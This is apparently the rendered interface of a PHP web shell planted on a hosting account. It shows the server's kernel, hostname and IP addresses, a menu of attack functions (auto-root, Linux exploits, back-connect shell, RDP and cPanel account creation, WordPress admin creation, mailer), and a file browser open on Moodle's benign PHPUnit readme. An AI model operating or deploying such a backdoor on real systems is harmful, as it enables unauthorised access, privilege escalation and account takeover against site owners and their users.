Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.127.69
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
lib /
phpunit /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
bootstrap.php
8.83
KB
-rw-rw-r--
bootstraplib.php
3.17
KB
-rw-r--r--
lib.php
1.67
KB
-rw-r--r--
phpunit.xsd
17.51
KB
-rw-r--r--
readme.md
2.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readme.md
PHPUnit testing support in Moodle ================================== Documentation ------------- * [Moodle PHPUnit integration](http://docs.moodle.org/dev/PHPUnit) * [Moodle Writing PHPUnit tests](https://docs.moodle.org/dev/Writing_PHPUnit_tests) * [PHPUnit online documentation](http://www.phpunit.de/manual/current/en/) * [Composer dependency manager](http://getcomposer.org/) Composer installation --------------------- Composer is a dependency manager for PHP projects. It installs PHP libraries into /vendor/ subdirectory inside your moodle dirroot. 1. install Composer - [http://getcomposer.org/doc/00-intro.md](http://getcomposer.org/doc/00-intro.md) 2. install PHUnit and dependencies - go to your Moodle dirroot and execute `php composer.phar install` Configure your server --------------------- You need to create a new dataroot directory and specify a separate database prefix for the test environment, see config-dist.php for more information. * add `$CFG->phpunit_prefix = 'phpu_';` to your config.php file * and `$CFG->phpunit_dataroot = '/path/to/phpunitdataroot';` to your config.php file Initialise the test environment ------------------------------- Before first execution and after every upgrade the PHPUnit test environment needs to be initialised, this command also builds the phpunit.xml configuration files. * execute `php admin/tool/phpunit/cli/init.php` Execute tests -------------- * execute `vendor/bin/phpunit` from dirroot directory * you can execute a single test case class using class name followed by path to test file `vendor/bin/phpunit lib/tests/phpunit_test.php` * it is also possible to create custom configuration files in xml format and use `vendor/bin/phpunit -c mytestsuites.xml` How to add more tests? ---------------------- 1. create `tests/` directory in your add-on 2. add test file, for example `local/mytest/tests/my_test.php` file with `my_test` class that extends `basic_testcase` or `advanced_testcase` 3. set the test class namespace to that of the class being tested 4. add some `test_*()` methods 5. execute your new test case `vendor/bin/phpunit local/mytest/tests/my_test.php` 6. execute `php admin/tool/phpunit/cli/init.php` to get the plugin tests included in main phpunit.xml configuration file Windows support --------------- * use `\` instead of `/` in paths in examples above
Close